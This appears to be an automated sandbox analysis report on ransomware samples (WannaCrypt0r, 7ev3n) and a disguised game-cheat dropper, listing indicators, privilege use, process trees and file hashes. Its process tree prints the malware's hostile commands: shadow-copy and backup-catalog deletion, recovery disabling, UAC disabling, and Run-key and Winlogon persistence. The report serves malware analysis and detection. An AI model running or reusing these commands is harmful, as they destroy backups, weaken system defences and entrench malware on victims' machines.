5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e GenericSetup.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8CF427FD790C3AD166068DE81E57EFBB932272D4 GenericSetup.exe -
NTFS ADS 2 IoCs
Processes:
firefox.exedescription ioc process File created C:\Users\Admin\Downloads\WannaCrypt0r.zip:Zone.Identifier firefox.exe File created C:\Users\Admin\Downloads\7ev3n.zip:Zone.Identifier firefox.exe -
Suspicious behavior: EnumeratesProcesses 20 IoCs
Processes:
GenericSetup.exetaskhsvc.exepid process 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4656 taskhsvc.exe 4656 taskhsvc.exe 4656 taskhsvc.exe 4656 taskhsvc.exe 4656 taskhsvc.exe 4656 taskhsvc.exe -
Suspicious use of AdjustPrivilegeToken 58 IoCs
Processes:
GenericSetup.exefirefox.exeshutdown.exetaskse.exeWMIC.exevssvc.exedescription pid process Token: SeDebugPrivilege 4296 GenericSetup.exe Token: SeDebugPrivilege 2756 firefox.exe Token: SeDebugPrivilege 2756 firefox.exe Token: SeDebugPrivilege 2756 firefox.exe Token: SeDebugPrivilege 2756 firefox.exe Token: SeDebugPrivilege 2756 firefox.exe Token: SeDebugPrivilege 2756 firefox.exe Token: SeDebugPrivilege 2756 firefox.exe Token: SeShutdownPrivilege 3608 shutdown.exe Token: SeRemoteShutdownPrivilege 3608 shutdown.exe Token: SeTcbPrivilege 784 taskse.exe Token: SeTcbPrivilege 784 taskse.exe Token: SeDebugPrivilege 2756 firefox.exe Token: SeIncreaseQuotaPrivilege 4472 WMIC.exe Token: SeSecurityPrivilege 4472 WMIC.exe Token: SeTakeOwnershipPrivilege 4472 WMIC.exe Token: SeLoadDriverPrivilege 4472 WMIC.exe Token: SeSystemProfilePrivilege 4472 WMIC.exe Token: SeSystemtimePrivilege 4472 WMIC.exe Token: SeProfSingleProcessPrivilege 4472 WMIC.exe Token: SeIncBasePriorityPrivilege 4472 WMIC.exe Token: SeCreatePagefilePrivilege 4472 WMIC.exe Token: SeBackupPrivilege 4472 WMIC.exe Token: SeRestorePrivilege 4472 WMIC.exe Token: SeShutdownPrivilege 4472 WMIC.exe Token: SeDebugPrivilege 4472 WMIC.exe Token: SeSystemEnvironmentPrivilege 4472 WMIC.exe Token: SeRemoteShutdownPrivilege 4472 WMIC.exe Token: SeUndockPrivilege 4472 WMIC.exe Token: SeManageVolumePrivilege 4472 WMIC.exe Token: 33 4472 WMIC.exe Token: 34 4472 WMIC.exe Token: 35 4472 WMIC.exe Token: 36 4472 WMIC.exe Token: SeIncreaseQuotaPrivilege 4472 WMIC.exe Token: SeSecurityPrivilege 4472 WMIC.exe Token: SeTakeOwnershipPrivilege 4472 WMIC.exe Token: SeLoadDriverPrivilege 4472 WMIC.exe Token: SeSystemProfilePrivilege 4472 WMIC.exe Token: SeSystemtimePrivilege 4472 WMIC.exe Token: SeProfSingleProcessPrivilege 4472 WMIC.exe Token: SeIncBasePriorityPrivilege 4472 WMIC.exe Token: SeCreatePagefilePrivilege 4472 WMIC.exe Token: SeBackupPrivilege 4472 WMIC.exe Token: SeRestorePrivilege 4472 WMIC.exe Token: SeShutdownPrivilege 4472 WMIC.exe Token: SeDebugPrivilege 4472 WMIC.exe Token: SeSystemEnvironmentPrivilege 4472 WMIC.exe Token: SeRemoteShutdownPrivilege 4472 WMIC.exe Token: SeUndockPrivilege 4472 WMIC.exe Token: SeManageVolumePrivilege 4472 WMIC.exe Token: 33 4472 WMIC.exe Token: 34 4472 WMIC.exe Token: 35 4472 WMIC.exe Token: 36 4472 WMIC.exe Token: SeBackupPrivilege 4240 vssvc.exe Token: SeRestorePrivilege 4240 vssvc.exe Token: SeAuditPrivilege 4240 vssvc.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
firefox.exepid process 2756 firefox.exe 2756 firefox.exe 2756 firefox.exe 2756 firefox.exe -
Suspicious use of SendNotifyMessage 3 IoCs
Processes:
firefox.exepid process 2756 firefox.exe 2756 firefox.exe 2756 firefox.exe -
Suspicious use of SetWindowsHookEx 17 IoCs
Processes:
Roblox Evon Exploit V4_80175.exeGenericSetup.exefirefox.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exeLogonUI.exepid process 1816 Roblox Evon Exploit V4_80175.exe 1816 Roblox Evon Exploit V4_80175.exe 4296 GenericSetup.exe 2756 firefox.exe 2756 firefox.exe 2756 firefox.exe 2756 firefox.exe 2756 firefox.exe 2756 firefox.exe 2756 firefox.exe 5092 @WanaDecryptor@.exe 5092 @WanaDecryptor@.exe 2880 @WanaDecryptor@.exe 2880 @WanaDecryptor@.exe 2276 @WanaDecryptor@.exe 2276 @WanaDecryptor@.exe 4652 LogonUI.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Roblox Evon Exploit V4_80175.exesetup80175.exefirefox.exefirefox.exedescription pid process target process PID 1816 wrote to memory of 1476 1816 Roblox Evon Exploit V4_80175.exe setup80175.exe PID 1816 wrote to memory of 1476 1816 Roblox Evon Exploit V4_80175.exe setup80175.exe PID 1816 wrote to memory of 1476 1816 Roblox Evon Exploit V4_80175.exe setup80175.exe PID 1476 wrote to memory of 4296 1476 setup80175.exe GenericSetup.exe PID 1476 wrote to memory of 4296 1476 setup80175.exe GenericSetup.exe PID 1476 wrote to memory of 4296 1476 setup80175.exe GenericSetup.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 4440 wrote to memory of 2756 4440 firefox.exe firefox.exe PID 2756 wrote to memory of 2528 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2528 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe PID 2756 wrote to memory of 2096 2756 firefox.exe firefox.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Roblox Evon Exploit V4_80175.exe"C:\Users\Admin\AppData\Local\Temp\Roblox Evon Exploit V4_80175.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\setup80175.exeC:\Users\Admin\AppData\Local\setup80175.exe hhwnd=590276 hreturntoinstaller hextras=id:3edef7f19b9beb4-US-tHShP2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4C5AFCB6\GenericSetup.exe.\GenericSetup.exe hhwnd=590276 hreturntoinstaller hextras=id:3edef7f19b9beb4-US-tHShP3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks for any installed AV software in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
- Modifies registry class
- NTFS ADS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.0.742963408\908009372" -parentBuildID 20221007134813 -prefsHandle 1836 -prefMapHandle 1828 -prefsLen 20890 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {712eb7e3-2ea6-413b-a767-e61008249b74} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 1916 28e261f3258 gpu3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.1.2003878165\622442263" -parentBuildID 20221007134813 -prefsHandle 2304 -prefMapHandle 2300 -prefsLen 20926 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c68f18a4-e8dd-4dbd-a3ce-e9cd807c5548} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 2316 28e1926fe58 socket3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.2.708333094\1407234310" -childID 1 -isForBrowser -prefsHandle 3172 -prefMapHandle 3168 -prefsLen 21074 -prefMapSize 232675 -jsInitHandle 1476 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a06e656c-45a3-46bf-850c-7676958d4eda} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 3180 28e26193158 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.3.1134480130\217990835" -childID 2 -isForBrowser -prefsHandle 3412 -prefMapHandle 3504 -prefsLen 26519 -prefMapSize 232675 -jsInitHandle 1476 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {86b160a7-e614-42f1-a09b-2844599b19ba} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 3420 28e288d9858 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.4.1343233462\706345567" -childID 3 -isForBrowser -prefsHandle 3980 -prefMapHandle 3976 -prefsLen 26519 -prefMapSize 232675 -jsInitHandle 1476 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c57bf780-f3e0-4e47-9e8f-bb9859cca671} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 3992 28e1925b258 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.7.1658185473\1822701740" -childID 6 -isForBrowser -prefsHandle 5136 -prefMapHandle 5256 -prefsLen 26578 -prefMapSize 232675 -jsInitHandle 1476 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eff3c65a-e1e5-42e7-a6be-bc7fb399107f} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 5244 28e2c668858 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.6.181112383\480186087" -childID 5 -isForBrowser -prefsHandle 5044 -prefMapHandle 5048 -prefsLen 26578 -prefMapSize 232675 -jsInitHandle 1476 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b47ae08b-c96d-4d74-97cd-23665bc4c19c} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 4932 28e2c665258 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.5.347124609\537506829" -childID 4 -isForBrowser -prefsHandle 4916 -prefMapHandle 4912 -prefsLen 26578 -prefMapSize 232675 -jsInitHandle 1476 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9d9d8f68-ea4c-42b7-b69c-bcb7c49ffa9e} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 4892 28e2c3a4c58 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.8.1093214108\1676842655" -childID 7 -isForBrowser -prefsHandle 2764 -prefMapHandle 2760 -prefsLen 26676 -prefMapSize 232675 -jsInitHandle 1476 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7fac2c62-ddc9-483a-99f1-777201d2a966} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 5588 28e2da2f058 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.10.562653043\1222654932" -childID 9 -isForBrowser -prefsHandle 3608 -prefMapHandle 3592 -prefsLen 26851 -prefMapSize 232675 -jsInitHandle 1476 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7bc856f1-a973-482f-bdee-a6afcc91d177} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 3620 28e2c824458 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.9.2088702291\870350110" -childID 8 -isForBrowser -prefsHandle 4992 -prefMapHandle 4988 -prefsLen 26851 -prefMapSize 232675 -jsInitHandle 1476 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3cbc5be5-baa2-475f-bb75-7d18087fd8c0} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 4964 28e2abd2258 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.11.1084503765\2066364190" -parentBuildID 20221007134813 -prefsHandle 3588 -prefMapHandle 3044 -prefsLen 26851 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {04aa318c-8db8-4816-a307-d1d3f85e26d1} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 5612 28e2de71958 rdd3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2756.12.474331130\1708588620" -childID 10 -isForBrowser -prefsHandle 5076 -prefMapHandle 2888 -prefsLen 27116 -prefMapSize 232675 -jsInitHandle 1476 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fd6b9394-9100-4536-8ee4-d438eff3cac0} 2756 "\\.\pipe\gecko-crash-server-pipe.2756" 10256 28e2c665558 tab3⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\Endermanch@WannaCrypt0r.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\Endermanch@WannaCrypt0r.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 316581680357141.bat2⤵
-
C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵
-
C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\@WanaDecryptor@.exe@WanaDecryptor@.exe co2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /b @WanaDecryptor@.exe vs2⤵
-
C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\@WanaDecryptor@.exe@WanaDecryptor@.exe vs3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2880 -s 2484⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2880 -s 2724⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "cveybzquncem713" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\tasksche.exe\"" /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "cveybzquncem713" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\tasksche.exe\"" /f3⤵
- Adds Run key to start application
- Modifies registry key
-
C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\@WanaDecryptor@.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Temp1_7ev3n.zip\Endermanch@7ev3n.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_7ev3n.zip\Endermanch@7ev3n.exe"1⤵
-
C:\Users\Admin\AppData\Local\system.exe"C:\Users\Admin\AppData\Local\system.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\del.bat3⤵
-
C:\Windows\SysWOW64\SCHTASKS.exeC:\Windows\System32\SCHTASKS.exe /create /SC ONLOGON /TN uac /TR "C:\Users\Admin\AppData\Local\bcd.bat" /RL HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\windows\SysWOW64\cmd.exeC:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:644⤵
- UAC bypass
-
C:\windows\SysWOW64\cmd.exeC:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:644⤵
-
C:\windows\SysWOW64\cmd.exeC:\windows\system32\cmd.exe /c REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:644⤵
-
C:\windows\SysWOW64\cmd.exeC:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:644⤵
-
C:\windows\SysWOW64\cmd.exeC:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:644⤵
- Adds Run key to start application
-
C:\windows\SysWOW64\cmd.exeC:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:644⤵
- Modifies WinLogon for persistence
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:644⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c shutdown -r -t 10 -f3⤵
-
C:\Windows\SysWOW64\shutdown.exeshutdown -r -t 10 -f4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2880 -ip 28801⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2880 -ip 28801⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa39bb055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Winlogon Helper DLL
1Registry Run Keys / Startup Folder
1Scheduled Task
1Hidden Files and Directories
1Defense Evasion
Modify Registry
6Bypass User Account Control
1Disabling Security Tools
1File Deletion
1File Permissions Modification
1Install Root Certificate
1Hidden Files and Directories
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\@WanaDecryptor@.exe.lnkFilesize
1KB
MD567cb1336a992d913bf880de58fd00356
SHA1b0173b2115c379ba596b7c0183eb5d1670a9c6fd
SHA256f8fb4fb4ac24647c8d1973419d96469620584bac85b8a554999427d06ccdfccd
SHA5129c0b8268ee4591e9cabeff79effa29c0a1dd77a4cae04bfe4b499745e202a512f7d99af476e6c162415bf5f3190dd202fe7b80433bf7c48bc34b0b44bc6da058
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6exu9k4v.default-release\activity-stream.discovery_stream.json.tmpFilesize
153KB
MD500661828351c1f312ee4ee43159f5c56
SHA1bf756070f1698611a963448bf9539f6bb9dc40e5
SHA256a24f66028c97544d0ee068a02173b71b2bccf52f636472007852b11f4cfe2bd2
SHA512c23728a6529377f1ef91c7b41cbb8cfd82607aa9142da434813f1796b6cce5448d4800c171e2892c6e0210d205c402c847fd2cbee808115790668af616211d08
-
